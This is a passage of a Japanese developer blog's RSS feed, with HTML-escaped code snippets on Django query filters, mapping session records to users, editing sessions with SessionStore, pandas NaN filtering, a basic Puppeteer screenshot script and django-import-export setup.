&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_query&lt;/span&gt;(v):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; Q(&lt;span style="color:#f92672"&gt;**&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;__icontains&amp;#34;&lt;/span&gt;: v})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; query &lt;span style="color:#f92672"&gt;=&lt;/span&gt; reduce(or_, map(_query, values))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter(query)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;OrderFilter&lt;/span&gt;(DF&lt;span style="color:#f92672"&gt;.&lt;/span&gt;FilterSet):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; customer_name__contains &lt;span style="color:#f92672"&gt;=&lt;/span&gt; DF&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CharFilter(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; field_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;customer_name&amp;#34;&lt;/span&gt;, lookup_expr&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;icontains&amp;#34;&lt;/span&gt;, method&lt;span style="color:#f92672"&gt;=&lt;/span&gt;filter_icontains_mix
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>django session</title><link>https://hdknr.github.io/blogs/posts/2023/05/django-session/</link><pubDate>Tue, 30 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/django-session/</guid><description>&lt;h2 id="sessionのユーザーの取得"&gt;Sessionのユーザーの取得&lt;/h2&gt;
&lt;p&gt;Djangoでセッションレコードがどのユーザーのものかを判定するには、以下のようにします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.sessions.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Session
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; User
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; session &lt;span style="color:#f92672"&gt;in&lt;/span&gt; Session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; session&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_decoded()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;&amp;#39;_auth_user_id&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; uid:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; user &lt;span style="color:#f92672"&gt;=&lt;/span&gt; User&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(id&lt;span style="color:#f92672"&gt;=&lt;/span&gt;uid)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(user&lt;span style="color:#f92672"&gt;.&lt;/span&gt;username)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;参考文献:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://docs.djangoproject.com/ja//2.2/topics/http/sessions/"&gt;Django ドキュメント | セッションの使いかた&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/30&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) セッションの使いかた | Django ドキュメント | Django. &lt;a href="https://docs.djangoproject.com/ja//2.2/topics/http/sessions/"&gt;https://docs.djangoproject.com/ja//2.2/topics/http/sessions/&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) 【Django】ログイン判定機能の実装方法を実例付きで徹底解説. &lt;a href="https://itc.tokyo/django/dynamic-links-by-user-info/"&gt;https://itc.tokyo/django/dynamic-links-by-user-info/&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) Djangoで現在ログインしているユーザーのユーザーIDを取得する方法. &lt;a href="https://qastack.jp/programming/12615154/how-to-get-the-currently-logged-in-users-user-id-in-django"&gt;https://qastack.jp/programming/12615154/how-to-get-the-currently-logged-in-users-user-id-in-django&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="sessionstoreをつかう"&gt;SessionStoreをつかう&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.sessions.backends.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; SessionStore
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;3gsbhdfm4g2uyyieaaxl1omor2p5f1on&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;store &lt;span style="color:#f92672"&gt;=&lt;/span&gt; SessionStore(session_key&lt;span style="color:#f92672"&gt;=&lt;/span&gt;key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;store[&lt;span style="color:#e6db74"&gt;&amp;#34;ssout_required&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;store&lt;span style="color:#f92672"&gt;.&lt;/span&gt;save()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>pandas 指定カラムがnan以外のレコードのみ抽出</title><link>https://hdknr.github.io/blogs/posts/2023/05/pandas-%E6%8C%87%E5%AE%9A%E3%82%AB%E3%83%A9%E3%83%A0%E3%81%8Cnan%E4%BB%A5%E5%A4%96%E3%81%AE%E3%83%AC%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E3%81%BF%E6%8A%BD%E5%87%BA/</link><pubDate>Thu, 25 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/pandas-%E6%8C%87%E5%AE%9A%E3%82%AB%E3%83%A9%E3%83%A0%E3%81%8Cnan%E4%BB%A5%E5%A4%96%E3%81%AE%E3%83%AC%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E3%81%BF%E6%8A%BD%E5%87%BA/</guid><description>&lt;h2 id="pandas-notna--指定カラムがnan以外のレコードのみ抽出"&gt;pandas: &lt;code&gt;notna()&lt;/code&gt;: 指定カラムがnan以外のレコードのみ抽出&lt;/h2&gt;
&lt;p&gt;ダウンロードExcelファイルの &lt;code&gt;行数&lt;/code&gt;カラム に値がはいっているとエラー行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; names &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;行数&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;line&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;メッセージ&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;message&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; df &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;dataframe(response)[[&lt;span style="color:#e6db74"&gt;&amp;#34;行数&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;メッセージ&amp;#34;&lt;/span&gt;]]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;rename(columns&lt;span style="color:#f92672"&gt;=&lt;/span&gt;names)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; df &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df[df[&lt;span style="color:#e6db74"&gt;&amp;#34;line&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;notna()]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Puppeteer</title><link>https://hdknr.github.io/blogs/posts/2023/05/puppeteer/</link><pubDate>Tue, 23 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/puppeteer/</guid><description>&lt;h2 id="puppeteer"&gt;Puppeteer&lt;/h2&gt;
&lt;p&gt;Puppeteer とヘッドレス Chrome を使って React の SPA サイトをクロールするためのスクリプトを記述するには、以下のようなコードを記述することができます ¹。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;puppeteer&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;launch&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;newPage&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// SPA のページ遷移を待つ
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;waitForNavigation&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;waitUntil&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;networkidle0&amp;#34;&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// スクリーンショットを撮る
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;screenshot&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;example.png&amp;#34;&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;上記のコードでは、Puppeteer を使ってブラウザを起動し、指定した URL にアクセスしています。その後、SPA のページ遷移が完了するまで待機し、スクリーンショットを撮影しています。必要に応じて、このコードを改良していただければと思います。&lt;/p&gt;</description></item><item><title>django-import-export</title><link>https://hdknr.github.io/blogs/posts/2023/05/django-import-export/</link><pubDate>Thu, 18 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/django-import-export/</guid><description>&lt;h2 id="django-import-export"&gt;django-import-export&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;django-import-export = &amp;#34;^2.4.0&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="settingspy"&gt;settings.py&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSTALLED_APPS &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;import_export&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="resourcespy"&gt;resources.py&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
